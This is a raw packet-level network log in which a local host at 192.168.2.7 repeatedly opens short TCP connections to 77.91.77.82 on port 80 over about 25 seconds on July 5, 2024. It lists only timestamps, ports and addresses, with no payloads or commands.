Jul 5, 2024 06:24:07.320666075 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.325504065 CEST	80	51538	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:07.536751986 CEST	80	51538	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:07.536838055 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.651510954 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.651838064 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.657433987 CEST	80	51539	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:07.657550097 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.657680035 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.657989979 CEST	80	51538	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:07.658031940 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:07.662561893 CEST	80	51539	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:08.358505964 CEST	80	51539	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:08.358566999 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.359263897 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.364193916 CEST	80	51539	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:08.580287933 CEST	80	51539	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:08.580360889 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.683118105 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.683335066 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.688127995 CEST	80	51540	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:08.688172102 CEST	80	51539	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:08.688203096 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.688234091 CEST	51539	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.688426018 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:08.696552992 CEST	80	51540	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:09.427660942 CEST	80	51540	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:09.427740097 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.428800106 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.433574915 CEST	80	51540	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:09.650814056 CEST	80	51540	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:09.651040077 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.761061907 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.761393070 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.766258955 CEST	80	51541	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:09.766269922 CEST	80	51540	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:09.766365051 CEST	51540	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.766377926 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.766604900 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:09.772562027 CEST	80	51541	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:10.459228039 CEST	80	51541	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:10.461258888 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.461992979 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.466830015 CEST	80	51541	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:10.677769899 CEST	80	51541	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:10.677843094 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.792177916 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.792583942 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.797409058 CEST	80	51541	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:10.797487974 CEST	51541	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.797574043 CEST	80	51542	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:10.797660112 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.797832966 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:10.803605080 CEST	80	51542	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:11.489813089 CEST	80	51542	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:11.489907026 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.490597010 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.495410919 CEST	80	51542	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:11.706825018 CEST	80	51542	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:11.706878901 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.809865952 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.810195923 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.814940929 CEST	80	51543	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:11.815011978 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.815135002 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.815362930 CEST	80	51542	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:11.815409899 CEST	51542	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:11.819914103 CEST	80	51543	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:12.513698101 CEST	80	51543	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:12.513782978 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.514533997 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.519386053 CEST	80	51543	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:12.731084108 CEST	80	51543	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:12.731159925 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.839186907 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.839528084 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.847548962 CEST	80	51544	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:12.847621918 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.847774029 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.847867966 CEST	80	51543	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:12.847913980 CEST	51543	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:12.852575064 CEST	80	51544	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:13.588449955 CEST	80	51544	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:13.588541031 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.589308023 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.594070911 CEST	80	51544	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:13.814126015 CEST	80	51544	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:13.814205885 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.917402983 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.917610884 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.922534943 CEST	80	51544	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:13.922605991 CEST	51544	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.923233032 CEST	80	51545	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:13.923305988 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.923433065 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:13.942270994 CEST	80	51545	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:14.635596991 CEST	80	51545	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:14.635700941 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.636581898 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.641346931 CEST	80	51545	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:14.857943058 CEST	80	51545	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:14.858032942 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.964030981 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.964468002 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.969144106 CEST	80	51545	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:14.969244003 CEST	51545	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.969842911 CEST	80	51546	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:14.969929934 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.970124006 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:14.975619078 CEST	80	51546	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:15.661734104 CEST	80	51546	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:15.661823034 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:15.662564039 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:15.667603016 CEST	80	51546	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:15.881264925 CEST	80	51546	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:15.881356955 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:15.995261908 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:15.995647907 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:16.000446081 CEST	80	51546	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:16.000531912 CEST	51546	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:16.000881910 CEST	80	51547	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:16.000977039 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:16.001106977 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:16.007566929 CEST	80	51547	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:16.702389002 CEST	80	51547	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:16.702510118 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:16.703701973 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:16.708499908 CEST	80	51547	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:16.925019979 CEST	80	51547	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:16.925066948 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.028450012 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.028774023 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.033601999 CEST	80	51547	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:17.033613920 CEST	80	51548	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:17.033677101 CEST	51547	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.033709049 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.033857107 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.038682938 CEST	80	51548	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:17.759968996 CEST	80	51548	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:17.760047913 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.760802031 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:17.766084909 CEST	80	51548	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:17.980654001 CEST	80	51548	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:17.980730057 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.089642048 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.090321064 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.095086098 CEST	80	51548	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:18.095098972 CEST	80	51549	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:18.095141888 CEST	51548	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.095177889 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.095313072 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.100039005 CEST	80	51549	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:18.808243990 CEST	80	51549	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:18.809000015 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.809000015 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:18.813802958 CEST	80	51549	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:19.035644054 CEST	80	51549	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:19.035738945 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.155953884 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.156295061 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.162767887 CEST	80	51550	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:19.162856102 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.162909985 CEST	80	51549	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:19.162961960 CEST	51549	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.258825064 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.263752937 CEST	80	51550	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:19.869935989 CEST	80	51550	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:19.871460915 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.872097969 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:19.877300978 CEST	80	51550	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:20.097325087 CEST	80	51550	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:20.097429991 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.198519945 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.198811054 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.203636885 CEST	80	51550	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:20.203650951 CEST	80	51551	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:20.203737020 CEST	51550	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.203772068 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.203943968 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.208714962 CEST	80	51551	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:20.892750978 CEST	80	51551	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:20.892946959 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.893652916 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:20.898442984 CEST	80	51551	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:21.110109091 CEST	80	51551	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:21.110295057 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.215670109 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.215929985 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.220742941 CEST	80	51552	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:21.220815897 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.220921040 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.221137047 CEST	80	51551	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:21.221189022 CEST	51551	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.225868940 CEST	80	51552	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:21.944360018 CEST	80	51552	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:21.944510937 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.946038008 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:21.950846910 CEST	80	51552	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:22.171880007 CEST	80	51552	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:22.172053099 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:22.290229082 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:22.290553093 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:22.295592070 CEST	80	51553	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:22.295667887 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:22.295912981 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:22.307836056 CEST	80	51552	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:22.307888031 CEST	51552	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:22.308062077 CEST	80	51553	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:23.003806114 CEST	80	51553	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:23.005297899 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.021168947 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.026170015 CEST	80	51553	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:23.239720106 CEST	80	51553	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:23.239804983 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.354687929 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.355021954 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.359973907 CEST	80	51554	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:23.360181093 CEST	80	51553	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:23.360279083 CEST	51553	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.360279083 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.360395908 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:23.365318060 CEST	80	51554	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:24.072352886 CEST	80	51554	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:24.072448969 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.075212002 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.080028057 CEST	80	51554	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:24.295891047 CEST	80	51554	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:24.295973063 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.401793957 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.402107954 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.407073021 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:24.407155037 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.407291889 CEST	80	51554	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:24.407300949 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.407351971 CEST	51554	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:24.412147045 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:25.700588942 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:25.700651884 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:25.700733900 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:25.700841904 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:25.700850964 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:25.700891018 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:25.706806898 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:25.711642981 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:25.922585011 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:25.922661066 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.031084061 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.031446934 CEST	51556	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.036242962 CEST	80	51555	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:26.036303997 CEST	51555	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.036319971 CEST	80	51556	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:26.036410093 CEST	51556	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.036518097 CEST	51556	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.041217089 CEST	80	51556	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:26.753245115 CEST	80	51556	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:26.753309965 CEST	51556	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.764981985 CEST	51556	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.765387058 CEST	51557	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.770194054 CEST	80	51557	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:26.770217896 CEST	80	51556	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:26.770256996 CEST	51557	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.770291090 CEST	51556	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.770725965 CEST	51557	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:26.775664091 CEST	80	51557	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:27.494713068 CEST	80	51557	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:27.494932890 CEST	51557	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.614212990 CEST	51557	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.614541054 CEST	51558	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.624115944 CEST	51559	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.801736116 CEST	80	51558	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:27.801755905 CEST	80	51559	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:27.801861048 CEST	51559	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.801887989 CEST	51558	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.801979065 CEST	80	51557	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:27.802056074 CEST	51557	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.803556919 CEST	51559	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:27.811275005 CEST	80	51559	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:28.523590088 CEST	80	51559	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:28.523677111 CEST	51559	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:28.638175964 CEST	51559	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:28.638525009 CEST	51560	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:28.643735886 CEST	80	51559	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:28.643760920 CEST	80	51560	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:28.643807888 CEST	51559	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:28.643857002 CEST	51560	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:28.643973112 CEST	51560	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:28.648725033 CEST	80	51560	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:29.364763975 CEST	80	51560	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:29.364823103 CEST	51560	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:29.367770910 CEST	51560	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:29.368139982 CEST	51561	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:29.372931957 CEST	80	51560	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:29.372944117 CEST	80	51561	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:29.372984886 CEST	51560	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:29.373045921 CEST	51561	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:29.373300076 CEST	51561	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:29.377998114 CEST	80	51561	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.068118095 CEST	80	51561	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.068202972 CEST	51561	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.198772907 CEST	51561	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.199383974 CEST	51562	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.204344988 CEST	80	51562	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.204413891 CEST	51562	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.204508066 CEST	80	51561	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.204597950 CEST	51561	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.205040932 CEST	51562	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.209861040 CEST	80	51562	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.893331051 CEST	80	51562	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.893470049 CEST	51562	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.896601915 CEST	51562	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.896945000 CEST	51563	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.901757956 CEST	80	51562	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.901776075 CEST	80	51563	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:30.901824951 CEST	51562	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:30.901865005 CEST	51563	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.013870955 CEST	51564	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.018861055 CEST	80	51564	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:31.019000053 CEST	51564	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.019248009 CEST	51564	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.024743080 CEST	80	51564	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:31.730961084 CEST	80	51564	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:31.731024027 CEST	51564	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.741365910 CEST	51564	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.741715908 CEST	51565	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.746478081 CEST	80	51564	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:31.746490002 CEST	80	51565	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:31.746555090 CEST	51564	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.746572018 CEST	51565	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.746742964 CEST	51565	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:31.751418114 CEST	80	51565	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:32.442207098 CEST	80	51565	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:32.445312977 CEST	51565	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:32.560234070 CEST	51565	80	192.168.2.7	77.91.77.82
